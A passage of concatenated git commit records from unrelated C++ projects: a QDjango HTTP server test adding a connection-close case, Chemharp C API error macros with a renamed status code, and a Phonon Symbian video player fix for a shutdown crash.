QTest::newRow(\"query-string\") << \"\/?message=bar\" << int(QNetworkReply::NoError) << QByteArray(\"method=GET|path=\/|get=bar\");\n QTest::newRow(\"not-found\") << \"\/not-found\" << int(QNetworkReply::ContentNotFoundError) << errorTemplate.arg(QLatin1String(\"The document you requested was not found.\")).toUtf8();\n QTest::newRow(\"internal-server-error\") << \"\/internal-server-error\" << internalServerError << errorTemplate.arg(QLatin1String(\"An internal server error was encountered.\")).toUtf8();\n}\n\nvoid tst_QDjangoHttpServer::testGet()\n{\n QFETCH(QString, path);\n QFETCH(int, err);\n QFETCH(QByteArray, body);\n\n QNetworkAccessManager network;\n QNetworkReply *reply = network.get(QNetworkRequest(QUrl(QLatin1String(\"http:\/\/127.0.0.1:8123\") + path)));\n\n QEventLoop loop;\n QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit()));\n loop.exec();\n\n QVERIFY(reply);\n QCOMPARE(int(reply->error()), err);\n QCOMPARE(reply->readAll(), body);\n delete reply;\n}\n\nvoid tst_QDjangoHttpServer::testPost_data()\n{\n QTest::addColumn<QString>(\"path\");\n QTest::addColumn<QByteArray>(\"data\");\n QTest::addColumn<int>(\"err\");\n QTest::addColumn<QByteArray>(\"body\");\n\n QTest::newRow(\"empty\") << \"\/\" << QByteArray() << int(QNetworkReply::NoError) << QByteArray(\"method=POST|path=\/\");\n QTest::newRow(\"simple\") << \"\/\" << QByteArray(\"message=bar\") << int(QNetworkReply::NoError) << QByteArray(\"method=POST|path=\/|post=bar\");\n QTest::newRow(\"multi\") << \"\/\" << QByteArray(\"bob=wiz&message=bar&zoo=wow\") << int(QNetworkReply::NoError) << QByteArray(\"method=POST|path=\/|post=bar\");\n}\n\nvoid tst_QDjangoHttpServer::testPost()\n{\n QFETCH(QString, path);\n QFETCH(QByteArray, data);\n QFETCH(int, err);\n QFETCH(QByteArray, body);\n\n QNetworkAccessManager network;\n QNetworkRequest req(QUrl(QLatin1String(\"http:\/\/127.0.0.1:8123\") + path));\n req.setRawHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\");\n QNetworkReply *reply = network.post(req, data);\n\n QEventLoop loop;\n QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit()));\n loop.exec();\n\n QVERIFY(reply);\n QCOMPARE(int(reply->error()), err);\n QCOMPARE(reply->readAll(), body);\n delete reply;\n}\n\nQDjangoHttpResponse *tst_QDjangoHttpServer::_q_index(const QDjangoHttpRequest &request)\n{\n QDjangoHttpResponse *response = new QDjangoHttpResponse;\n response->setHeader(QLatin1String(\"Content-Type\"), QLatin1String(\"text\/plain\"));\n\n QString output = QLatin1String(\"method=\") + request.method();\n output += QLatin1String(\"|path=\") + request.path();\n\n const QString getValue = request.get(QLatin1String(\"message\"));\n if (!getValue.isEmpty())\n output += QLatin1String(\"|get=\") + getValue;\n\n const QString postValue = request.post(QLatin1String(\"message\"));\n if (!postValue.isEmpty())\n output += QLatin1String(\"|post=\") + postValue;\n\n response->setBody(output.toUtf8());\n return response;\n}\n\nQDjangoHttpResponse *tst_QDjangoHttpServer::_q_error(const QDjangoHttpRequest &request)\n{\n Q_UNUSED(request);\n\n return QDjangoHttpController::serveInternalServerError(request);\n}\n\nQTEST_MAIN(tst_QDjangoHttpServer)\n#include \"tst_qdjangohttpserver.moc\"\n<commit_msg>test HTTP connection close<commit_after>\/*\n * Copyright (C) 2010-2014 Jeremy Lainé\n * Contact: https:\/\/github.com\/jlaine\/qdjango\n *\n * This file is part of the QDjango Library.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\/\n\n#include <QNetworkAccessManager>\n#include <QNetworkReply>\n#include <QNetworkRequest>\n#include <QtTest>\n#include <QUrl>\n\n#include \"QDjangoHttpController.h\"\n#include \"QDjangoHttpRequest.h\"\n#include \"QDjangoHttpResponse.h\"\n#include \"QDjangoHttpServer.h\"\n#include \"QDjangoUrlResolver.h\"\n\n\/** Test QDjangoHttpServer class.\n *\/\nclass tst_QDjangoHttpServer : public QObject\n{\n Q_OBJECT\n\nprivate slots:\n void cleanupTestCase();\n void initTestCase();\n void testCloseConnection();\n void testGet_data();\n void testGet();\n void testPost_data();\n void testPost();\n\n QDjangoHttpResponse* _q_index(const QDjangoHttpRequest &request);\n QDjangoHttpResponse* _q_error(const QDjangoHttpRequest &request);\n\nprivate:\n QDjangoHttpServer *httpServer;\n};\n\n\nvoid tst_QDjangoHttpServer::cleanupTestCase()\n{\n httpServer->close();\n delete httpServer;\n}\n\nvoid tst_QDjangoHttpServer::initTestCase()\n{\n httpServer = new QDjangoHttpServer;\n httpServer->urls()->set(QRegExp(QLatin1String(QLatin1String(\"^$\"))), this, \"_q_index\");\n httpServer->urls()->set(QRegExp(QLatin1String(\"^internal-server-error$\")), this, \"_q_error\");\n QCOMPARE(httpServer->listen(QHostAddress::LocalHost, 8123), true);\n}\n\nvoid tst_QDjangoHttpServer::testCloseConnection()\n{\n QNetworkAccessManager network;\n\n QNetworkRequest req(QUrl(\"http:\/\/127.0.0.1:8123\/\"));\n req.setRawHeader(\"Connection\", \"close\");\n\n QNetworkReply *reply = network.get(req);\n\n QEventLoop loop;\n QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit()));\n loop.exec();\n\n QVERIFY(reply);\n QCOMPARE(reply->error(), QNetworkReply::NoError);\n \/\/QCOMPARE(reply->readAll(), body);\n delete reply;\n\n}\n\nvoid tst_QDjangoHttpServer::testGet_data()\n{\n QTest::addColumn<QString>(\"path\");\n QTest::addColumn<int>(\"err\");\n QTest::addColumn<QByteArray>(\"body\");\n\n const QString errorTemplate = QLatin1String(\n \"<html>\"\n \"<head><title>Error<\/title><\/head>\"\n \"<body><p>%1<\/p><\/body>\"\n \"<\/html>\");\n#if (QT_VERSION >= QT_VERSION_CHECK(5, 3, 0))\n int internalServerError = int(QNetworkReply::InternalServerError);\n#else\n int internalServerError = int(QNetworkReply::UnknownContentError);\n#endif\n QTest::newRow(\"root\") << \"\/\" << int(QNetworkReply::NoError) << QByteArray(\"method=GET|path=\/\");\n QTest::newRow(\"query-string\") << \"\/?message=bar\" << int(QNetworkReply::NoError) << QByteArray(\"method=GET|path=\/|get=bar\");\n QTest::newRow(\"not-found\") << \"\/not-found\" << int(QNetworkReply::ContentNotFoundError) << errorTemplate.arg(QLatin1String(\"The document you requested was not found.\")).toUtf8();\n QTest::newRow(\"internal-server-error\") << \"\/internal-server-error\" << internalServerError << errorTemplate.arg(QLatin1String(\"An internal server error was encountered.\")).toUtf8();\n}\n\nvoid tst_QDjangoHttpServer::testGet()\n{\n QFETCH(QString, path);\n QFETCH(int, err);\n QFETCH(QByteArray, body);\n\n QNetworkAccessManager network;\n QNetworkReply *reply = network.get(QNetworkRequest(QUrl(QLatin1String(\"http:\/\/127.0.0.1:8123\") + path)));\n\n QEventLoop loop;\n QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit()));\n loop.exec();\n\n QVERIFY(reply);\n QCOMPARE(int(reply->error()), err);\n QCOMPARE(reply->readAll(), body);\n delete reply;\n}\n\nvoid tst_QDjangoHttpServer::testPost_data()\n{\n QTest::addColumn<QString>(\"path\");\n QTest::addColumn<QByteArray>(\"data\");\n QTest::addColumn<int>(\"err\");\n QTest::addColumn<QByteArray>(\"body\");\n\n QTest::newRow(\"empty\") << \"\/\" << QByteArray() << int(QNetworkReply::NoError) << QByteArray(\"method=POST|path=\/\");\n QTest::newRow(\"simple\") << \"\/\" << QByteArray(\"message=bar\") << int(QNetworkReply::NoError) << QByteArray(\"method=POST|path=\/|post=bar\");\n QTest::newRow(\"multi\") << \"\/\" << QByteArray(\"bob=wiz&message=bar&zoo=wow\") << int(QNetworkReply::NoError) << QByteArray(\"method=POST|path=\/|post=bar\");\n}\n\nvoid tst_QDjangoHttpServer::testPost()\n{\n QFETCH(QString, path);\n QFETCH(QByteArray, data);\n QFETCH(int, err);\n QFETCH(QByteArray, body);\n\n QNetworkAccessManager network;\n QNetworkRequest req(QUrl(QLatin1String(\"http:\/\/127.0.0.1:8123\") + path));\n req.setRawHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\");\n QNetworkReply *reply = network.post(req, data);\n\n QEventLoop loop;\n QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit()));\n loop.exec();\n\n QVERIFY(reply);\n QCOMPARE(int(reply->error()), err);\n QCOMPARE(reply->readAll(), body);\n delete reply;\n}\n\nQDjangoHttpResponse *tst_QDjangoHttpServer::_q_index(const QDjangoHttpRequest &request)\n{\n QDjangoHttpResponse *response = new QDjangoHttpResponse;\n response->setHeader(QLatin1String(\"Content-Type\"), QLatin1String(\"text\/plain\"));\n\n QString output = QLatin1String(\"method=\") + request.method();\n output += QLatin1String(\"|path=\") + request.path();\n\n const QString getValue = request.get(QLatin1String(\"message\"));\n if (!getValue.isEmpty())\n output += QLatin1String(\"|get=\") + getValue;\n\n const QString postValue = request.post(QLatin1String(\"message\"));\n if (!postValue.isEmpty())\n output += QLatin1String(\"|post=\") + postValue;\n\n response->setBody(output.toUtf8());\n return response;\n}\n\nQDjangoHttpResponse *tst_QDjangoHttpServer::_q_error(const QDjangoHttpRequest &request)\n{\n Q_UNUSED(request);\n\n return QDjangoHttpController::serveInternalServerError(request);\n}\n\nQTEST_MAIN(tst_QDjangoHttpServer)\n#include \"tst_qdjangohttpserver.moc\"\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Update p10152 - ShellSort.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n* Chemharp, an efficient IO library for chemistry file formats\n* Copyright (C) 2015 Guillaume Fraux\n*\n* This Source Code Form is subject to the terms of the Mozilla Public\n* License, v. 2.0. If a copy of the MPL was not distributed with this\n* file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n*\/\n\n\/*! @file cerrors.hpp\n* Handling C++ errors from the C API\n*\/\n\n#ifndef HARP_CAPI_ERRORS_H\n#define HARP_CAPI_ERRORS_H\n\n#include <string>\n#include \"chemharp\/Logger.hpp\"\n\nnamespace harp {\n\n\/\/! @brief struct to associate the values of status code to messages.\nstruct CAPIStatus {\n enum {\n \/\/! Everythig is OK\n SUCESS = 0,\n \/\/! Error in the C++ standard library\n STD_ERROR,\n \/\/! Catch all harp::Error errors\n GENERIC,\n \/\/! Memory error: wrong pre-allocated arrays, ...\n MEMORY,\n \/\/! File error: inexistent, can not open, ...\n FILE,\n \/\/! Error in the C++ standard library\n FORMAT,\n \/\/! Counter for the number of error codes.\n LAST,\n };\n\n CAPIStatus() {\n messages[SUCESS] = \"Operation was sucessfull\";\n messages[STD_ERROR] = \"Error in C++ runtime. Use chrp_last_error for more informations.\";\n messages[GENERIC] = \"Error in Chemharp library. Use chrp_last_error for more informations.\";\n messages[MEMORY] = \"Memory error.\";\n messages[FILE] = \"Error while reading a file.\";\n messages[FORMAT] = \"Error while reading a format.\";\n }\n\n \/\/\/ Retrive the message corresponding to an error code.\n const char* message(int i) const {\n if (i >= 0 && i < LAST)\n return messages[i];\n else\n return \"\";\n }\n std::string last_error;\nprivate:\n const char* messages[LAST];\n};\n\nstatic CAPIStatus status = CAPIStatus();\n\n#define CATCH_AND_RETURN(exception, retval) \\\n catch(const harp::exception& e) { \\\n status.last_error = string(e.what()); \\\n LOG(ERROR) << e.what() << std::endl; \\\n return retval; \\\n }\n\n#define CATCH_AND_GOTO(exception) \\\n catch(const harp::exception& e) { \\\n status.last_error = string(e.what()); \\\n LOG(ERROR) << e.what() << std::endl; \\\n goto error; \\\n }\n\n\/\/! Wrap \\c instructions in a try\/catch bloc automatically, and return a status code\n#define CHRP_ERROR_WRAP_RETCODE(instructions) \\\n try { \\\n instructions \\\n } \\\n CATCH_AND_RETURN(FileError, CAPIStatus::FILE) \\\n CATCH_AND_RETURN(MemoryError, CAPIStatus::MEMORY) \\\n CATCH_AND_RETURN(FormatError, CAPIStatus::FORMAT) \\\n CATCH_AND_RETURN(Error, CAPIStatus::GENERIC) \\\n catch(const std::exception& e) { \\\n status.last_error = string(e.what()); \\\n return CAPIStatus::STD_ERROR; \\\n } \\\n return CAPIStatus::SUCESS;\n\n\/\/! Wrap \\c instructions in a try\/catch bloc automatically, and goto the \\c error\n\/\/! label in case of error.\n#define CHRP_ERROR_WRAP(instructions) \\\n try { \\\n instructions \\\n } \\\n CATCH_AND_GOTO(FileError) \\\n CATCH_AND_GOTO(MemoryError) \\\n CATCH_AND_GOTO(FormatError) \\\n CATCH_AND_GOTO(Error) \\\n catch(const std::exception& e) { \\\n status.last_error = string(e.what()); \\\n goto error; \\\n }\n\n}\n\n#endif\n<commit_msg>Improve naming in chemharp C errors<commit_after>\/*\n* Chemharp, an efficient IO library for chemistry file formats\n* Copyright (C) 2015 Guillaume Fraux\n*\n* This Source Code Form is subject to the terms of the Mozilla Public\n* License, v. 2.0. If a copy of the MPL was not distributed with this\n* file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n*\/\n\n\/*! @file cerrors.hpp\n* Handling C++ errors from the C API\n*\/\n\n#ifndef HARP_CAPI_ERRORS_H\n#define HARP_CAPI_ERRORS_H\n\n#include <string>\n#include \"chemharp\/Logger.hpp\"\n\nnamespace harp {\n\n\/\/! @brief struct to associate the values of status code to messages.\nstruct CAPIStatus {\n enum {\n \/\/! Everythig is OK\n SUCESS = 0,\n \/\/! Error in the C++ standard library\n STD_ERROR,\n \/\/! Catch all harp::Error errors\n CHEMHARP,\n \/\/! Memory error: wrong pre-allocated arrays, ...\n MEMORY,\n \/\/! File error: inexistent, can not open, ...\n FILE,\n \/\/! Error in file formating\n FORMAT,\n \/\/! Counter for the number of error codes.\n LAST,\n };\n\n CAPIStatus() {\n messages[SUCESS] = \"Operation was sucessfull\";\n messages[STD_ERROR] = \"Error in C++ runtime. Use chrp_last_error for more informations.\";\n messages[CHEMHARP] = \"Error in Chemharp library. Use chrp_last_error for more informations.\";\n messages[MEMORY] = \"Memory error.\";\n messages[FILE] = \"Error while reading a file.\";\n messages[FORMAT] = \"Error while reading a format.\";\n }\n\n \/\/\/ Retrive the message corresponding to an error code.\n const char* message(int i) const {\n if (i >= 0 && i < LAST)\n return messages[i];\n else\n return \"\";\n }\n std::string last_error;\nprivate:\n const char* messages[LAST];\n};\n\nstatic CAPIStatus status = CAPIStatus();\n\n#define CATCH_AND_RETURN(exception, retval) \\\n catch(const harp::exception& e) { \\\n status.last_error = string(e.what()); \\\n LOG(ERROR) << e.what() << std::endl; \\\n return retval; \\\n }\n\n#define CATCH_AND_GOTO(exception) \\\n catch(const harp::exception& e) { \\\n status.last_error = string(e.what()); \\\n LOG(ERROR) << e.what() << std::endl; \\\n goto error; \\\n }\n\n\/\/! Wrap \\c instructions in a try\/catch bloc automatically, and return a status code\n#define CHRP_ERROR_WRAP_RETCODE(instructions) \\\n try { \\\n instructions \\\n } \\\n CATCH_AND_RETURN(FileError, CAPIStatus::FILE) \\\n CATCH_AND_RETURN(MemoryError, CAPIStatus::MEMORY) \\\n CATCH_AND_RETURN(FormatError, CAPIStatus::FORMAT) \\\n CATCH_AND_RETURN(Error, CAPIStatus::CHEMHARP) \\\n catch(const std::exception& e) { \\\n status.last_error = string(e.what()); \\\n return CAPIStatus::STD_ERROR; \\\n } \\\n return CAPIStatus::SUCESS;\n\n\/\/! Wrap \\c instructions in a try\/catch bloc automatically, and goto the \\c error\n\/\/! label in case of error.\n#define CHRP_ERROR_WRAP(instructions) \\\n try { \\\n instructions \\\n } \\\n CATCH_AND_GOTO(FileError) \\\n CATCH_AND_GOTO(MemoryError) \\\n CATCH_AND_GOTO(FormatError) \\\n CATCH_AND_GOTO(Error) \\\n catch(const std::exception& e) { \\\n status.last_error = string(e.what()); \\\n goto error; \\\n }\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the KDE project.\n\nCopyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n\nThis library is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as published by\nthe Free Software Foundation, either version 2.1 or 3 of the License.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Lesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License\nalong with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <coecntrl.h> \/\/ for CCoeControl\n\n#include <QApplication> \/\/ for QApplication::activeWindow\n#include <QtCore\/private\/qcore_symbian_p.h> \/\/ for qt_TRect2QRect\n\n#include \"utils.h\"\n#include \"videooutput_dsa.h\"\n#include \"videoplayer_dsa.h\"\n\nQT_BEGIN_NAMESPACE\n\nusing namespace Phonon;\nusing namespace Phonon::MMF;\n\n\/\/ Two-phase constructor idiom is used because construct() calls virtual\n\/\/ functions and therefore cannot be called from the AbstractVideoPlayer\n\/\/ C++ constructor.\nDsaVideoPlayer* DsaVideoPlayer::create(MediaObject *parent,\n const AbstractPlayer *player)\n{\n QScopedPointer<DsaVideoPlayer> self(new DsaVideoPlayer(parent, player));\n self->construct();\n return self.take();\n}\n\nDsaVideoPlayer::DsaVideoPlayer(MediaObject *parent, const AbstractPlayer *player)\n : AbstractVideoPlayer(parent, player)\n , m_dsaActive(false)\n , m_dsaWasActive(false)\n{\n\n}\n\nDsaVideoPlayer::~DsaVideoPlayer()\n{\n\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Public functions\n\/\/-----------------------------------------------------------------------------\n\nvoid MMF::DsaVideoPlayer::videoWindowScreenRectChanged()\n{\n QRect windowRect = static_cast<DsaVideoOutput *>(m_videoOutput)->videoWindowScreenRect();\n\n \/\/ Clip to physical window size\n \/\/ This is due to a defect in the layout when running on S60 3.2, which\n \/\/ results in the rectangle of the video widget extending outside the\n \/\/ screen in certain circumstances. These include the initial startup\n \/\/ of the mediaplayer demo in portrait mode. When this rectangle is\n \/\/ passed to the CVideoPlayerUtility, no video is rendered.\n const TSize screenSize = m_screenDevice.SizeInPixels();\n const QRect screenRect(0, 0, screenSize.iWidth, screenSize.iHeight);\n windowRect = windowRect.intersected(screenRect);\n\n \/\/ Recalculate scale factors. Pass 'false' as second parameter in order to\n \/\/ suppress application of the change to the player - this is done at the end\n \/\/ of the function.\n updateScaleFactors(windowRect.size(), false);\n\n m_videoScreenRect = qt_QRect2TRect(windowRect);\n\n parametersChanged(WindowScreenRect | ScaleFactors);\n}\n\nvoid MMF::DsaVideoPlayer::suspendDirectScreenAccess()\n{\n m_dsaWasActive = stopDirectScreenAccess();\n}\n\nvoid MMF::DsaVideoPlayer::resumeDirectScreenAccess()\n{\n if (m_dsaWasActive) {\n startDirectScreenAccess();\n m_dsaWasActive = false;\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Private functions\n\/\/-----------------------------------------------------------------------------\n\nvoid MMF::DsaVideoPlayer::createPlayer()\n{\n \/\/ A window handle must be provided in order to construct\n \/\/ CVideoPlayerUtility. If no VideoOutput has yet been connected to this\n \/\/ player, we temporarily use the top-level application window handle.\n \/\/ No video ever gets rendered into this window; SetDisplayWindowL is\n \/\/ always called before rendering actually begins.\n if (!m_window)\n m_window = QApplication::activeWindow()->effectiveWinId()->DrawableWindow();\n\n const TInt priority = 0;\n const TMdaPriorityPreference preference = EMdaPriorityPreferenceNone;\n\n CVideoPlayerUtility *player = 0;\n QT_TRAP_THROWING(player = CVideoPlayerUtility::NewL(*this,\n priority, preference,\n m_wsSession, m_screenDevice,\n *m_window,\n m_videoScreenRect, m_videoScreenRect));\n m_player.reset(player);\n\n \/\/ CVideoPlayerUtility::NewL starts DSA\n m_dsaActive = true;\n\n m_player->RegisterForVideoLoadingNotification(*this);\n}\n\nvoid MMF::DsaVideoPlayer::initVideoOutput()\n{\n bool connected = connect(\n m_videoOutput, SIGNAL(videoWindowScreenRectChanged()),\n this, SLOT(videoWindowScreenRectChanged())\n );\n Q_ASSERT(connected);\n\n connected = connect(\n m_videoOutput, SIGNAL(beginVideoWindowNativePaint()),\n this, SLOT(suspendDirectScreenAccess())\n );\n Q_ASSERT(connected);\n\n connected = connect(\n m_videoOutput, SIGNAL(endVideoWindowNativePaint()),\n this, SLOT(resumeDirectScreenAccess())\n );\n Q_ASSERT(connected);\n\n \/\/ Suppress warnings in release builds\n Q_UNUSED(connected);\n\n AbstractVideoPlayer::initVideoOutput();\n}\n\nvoid MMF::DsaVideoPlayer::prepareCompleted()\n{\n videoWindowScreenRectChanged();\n}\n\nvoid MMF::DsaVideoPlayer::handleVideoWindowChanged()\n{\n if (!m_window) {\n m_window = QApplication::activeWindow()->effectiveWinId()->DrawableWindow();\n m_videoScreenRect = TRect();\n }\n\n parametersChanged(WindowHandle | WindowScreenRect);\n}\n\n#ifndef QT_NO_DEBUG\n\n\/\/ The following code is for debugging problems related to video visibility. It allows\n\/\/ the VideoPlayer instance to query the window server in order to determine the\n\/\/ DSA drawing region for the video window.\n\nclass CDummyAO : public CActive\n{\npublic:\n CDummyAO() : CActive(CActive::EPriorityStandard) { CActiveScheduler::Add(this); }\n void RunL() { }\n void DoCancel() { }\n TRequestStatus& Status() { return iStatus; }\n void SetActive() { CActive::SetActive(); }\n};\n\nvoid getDsaRegion(RWsSession &session, const RWindowBase &window)\n{\n RDirectScreenAccess dsa(session);\n TInt err = dsa.Construct();\n CDummyAO ao;\n RRegion* region;\n err = dsa.Request(region, ao.Status(), window);\n ao.SetActive();\n dsa.Close();\n ao.Cancel();\n if (region) {\n qDebug() << \"Phonon::MMF::getDsaRegion count\" << region->Count();\n for (int i=0; i<region->Count(); ++i) {\n const TRect& rect = region->RectangleList()[i];\n qDebug() << \"Phonon::MMF::getDsaRegion rect\"\n << rect.iTl.iX << rect.iTl.iY << rect.iBr.iX << rect.iBr.iY;\n }\n region->Close();\n }\n}\n\n#endif \/\/ QT_NO_DEBUG\n\nvoid MMF::DsaVideoPlayer::handleParametersChanged(VideoParameters parameters)\n{\n TRACE_CONTEXT(DsaVideoPlayer::handleParametersChanged, EVideoInternal);\n TRACE_ENTRY_0();\n\n#ifndef QT_NO_DEBUG\n getDsaRegion(m_wsSession, *m_window);\n#endif\n\n static const TBool antialias = ETrue;\n int err = KErrNone;\n\n if (parameters & ScaleFactors) {\n TRAP(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight,\n antialias));\n if(KErrNone != err) {\n TRACE(\"SetScaleFactorL (1) err %d\", err);\n setError(tr(\"Video display error\"), err);\n }\n }\n\n if (KErrNone == err) {\n if (parameters & WindowHandle || parameters & WindowScreenRect) {\n TRAP(err,\n m_player->SetDisplayWindowL(m_wsSession, m_screenDevice,\n *m_window,\n m_videoScreenRect,\n m_videoScreenRect));\n }\n\n if (KErrNone != err) {\n TRACE(\"SetDisplayWindowL err %d\", err);\n setError(tr(\"Video display error\"), err);\n } else {\n m_dsaActive = true;\n if (parameters & ScaleFactors) {\n TRAP(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight,\n antialias));\n if (KErrNone != err) {\n TRACE(\"SetScaleFactorL (2) err %d\", err);\n setError(tr(\"Video display error\"), err);\n }\n }\n }\n }\n\n TRACE_EXIT_0();\n}\n\nvoid MMF::DsaVideoPlayer::startDirectScreenAccess()\n{\n if (!m_dsaActive) {\n TRAPD(err, m_player->StartDirectScreenAccessL());\n if (KErrNone == err)\n m_dsaActive = true;\n else\n setError(tr(\"Video display error\"), err);\n }\n}\n\nbool MMF::DsaVideoPlayer::stopDirectScreenAccess()\n{\n const bool dsaWasActive = m_dsaActive;\n if (m_dsaActive) {\n TRAPD(err, m_player->StopDirectScreenAccessL());\n if (KErrNone == err)\n m_dsaActive = false;\n else\n setError(tr(\"Video display error\"), err);\n }\n return dsaWasActive;\n}\n\nQT_END_NAMESPACE\n\n<commit_msg>Fixed crash in Phonon MMF backend during application shutdown<commit_after>\/* This file is part of the KDE project.\n\nCopyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n\nThis library is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as published by\nthe Free Software Foundation, either version 2.1 or 3 of the License.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Lesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License\nalong with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <coecntrl.h> \/\/ for CCoeControl\n\n#include <QApplication> \/\/ for QApplication::activeWindow\n#include <QtCore\/private\/qcore_symbian_p.h> \/\/ for qt_TRect2QRect\n\n#include \"utils.h\"\n#include \"videooutput_dsa.h\"\n#include \"videoplayer_dsa.h\"\n\nQT_BEGIN_NAMESPACE\n\nusing namespace Phonon;\nusing namespace Phonon::MMF;\n\n\/\/ Two-phase constructor idiom is used because construct() calls virtual\n\/\/ functions and therefore cannot be called from the AbstractVideoPlayer\n\/\/ C++ constructor.\nDsaVideoPlayer* DsaVideoPlayer::create(MediaObject *parent,\n const AbstractPlayer *player)\n{\n QScopedPointer<DsaVideoPlayer> self(new DsaVideoPlayer(parent, player));\n self->construct();\n return self.take();\n}\n\nDsaVideoPlayer::DsaVideoPlayer(MediaObject *parent, const AbstractPlayer *player)\n : AbstractVideoPlayer(parent, player)\n , m_dsaActive(false)\n , m_dsaWasActive(false)\n{\n\n}\n\nDsaVideoPlayer::~DsaVideoPlayer()\n{\n\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Public functions\n\/\/-----------------------------------------------------------------------------\n\nvoid MMF::DsaVideoPlayer::videoWindowScreenRectChanged()\n{\n QRect windowRect = static_cast<DsaVideoOutput *>(m_videoOutput)->videoWindowScreenRect();\n\n \/\/ Clip to physical window size\n \/\/ This is due to a defect in the layout when running on S60 3.2, which\n \/\/ results in the rectangle of the video widget extending outside the\n \/\/ screen in certain circumstances. These include the initial startup\n \/\/ of the mediaplayer demo in portrait mode. When this rectangle is\n \/\/ passed to the CVideoPlayerUtility, no video is rendered.\n const TSize screenSize = m_screenDevice.SizeInPixels();\n const QRect screenRect(0, 0, screenSize.iWidth, screenSize.iHeight);\n windowRect = windowRect.intersected(screenRect);\n\n \/\/ Recalculate scale factors. Pass 'false' as second parameter in order to\n \/\/ suppress application of the change to the player - this is done at the end\n \/\/ of the function.\n updateScaleFactors(windowRect.size(), false);\n\n m_videoScreenRect = qt_QRect2TRect(windowRect);\n\n parametersChanged(WindowScreenRect | ScaleFactors);\n}\n\nvoid MMF::DsaVideoPlayer::suspendDirectScreenAccess()\n{\n m_dsaWasActive = stopDirectScreenAccess();\n}\n\nvoid MMF::DsaVideoPlayer::resumeDirectScreenAccess()\n{\n if (m_dsaWasActive) {\n startDirectScreenAccess();\n m_dsaWasActive = false;\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Private functions\n\/\/-----------------------------------------------------------------------------\n\nvoid MMF::DsaVideoPlayer::createPlayer()\n{\n \/\/ A window handle must be provided in order to construct\n \/\/ CVideoPlayerUtility. If no VideoOutput has yet been connected to this\n \/\/ player, we temporarily use the top-level application window handle.\n \/\/ No video ever gets rendered into this window; SetDisplayWindowL is\n \/\/ always called before rendering actually begins.\n if (!m_window)\n m_window = QApplication::activeWindow()->effectiveWinId()->DrawableWindow();\n\n const TInt priority = 0;\n const TMdaPriorityPreference preference = EMdaPriorityPreferenceNone;\n\n CVideoPlayerUtility *player = 0;\n QT_TRAP_THROWING(player = CVideoPlayerUtility::NewL(*this,\n priority, preference,\n m_wsSession, m_screenDevice,\n *m_window,\n m_videoScreenRect, m_videoScreenRect));\n m_player.reset(player);\n\n \/\/ CVideoPlayerUtility::NewL starts DSA\n m_dsaActive = true;\n\n m_player->RegisterForVideoLoadingNotification(*this);\n}\n\nvoid MMF::DsaVideoPlayer::initVideoOutput()\n{\n bool connected = connect(\n m_videoOutput, SIGNAL(videoWindowScreenRectChanged()),\n this, SLOT(videoWindowScreenRectChanged())\n );\n Q_ASSERT(connected);\n\n connected = connect(\n m_videoOutput, SIGNAL(beginVideoWindowNativePaint()),\n this, SLOT(suspendDirectScreenAccess())\n );\n Q_ASSERT(connected);\n\n connected = connect(\n m_videoOutput, SIGNAL(endVideoWindowNativePaint()),\n this, SLOT(resumeDirectScreenAccess())\n );\n Q_ASSERT(connected);\n\n \/\/ Suppress warnings in release builds\n Q_UNUSED(connected);\n\n AbstractVideoPlayer::initVideoOutput();\n}\n\nvoid MMF::DsaVideoPlayer::prepareCompleted()\n{\n videoWindowScreenRectChanged();\n}\n\nvoid MMF::DsaVideoPlayer::handleVideoWindowChanged()\n{\n if (!m_window) {\n if (QWidget *window = QApplication::activeWindow())\n m_window = window->effectiveWinId()->DrawableWindow();\n else\n m_window = 0;\n m_videoScreenRect = TRect();\n }\n\n parametersChanged(WindowHandle | WindowScreenRect);\n}\n\n#ifndef QT_NO_DEBUG\n\n\/\/ The following code is for debugging problems related to video visibility. It allows\n\/\/ the VideoPlayer instance to query the window server in order to determine the\n\/\/ DSA drawing region for the video window.\n\nclass CDummyAO : public CActive\n{\npublic:\n CDummyAO() : CActive(CActive::EPriorityStandard) { CActiveScheduler::Add(this); }\n void RunL() { }\n void DoCancel() { }\n TRequestStatus& Status() { return iStatus; }\n void SetActive() { CActive::SetActive(); }\n};\n\nvoid getDsaRegion(RWsSession 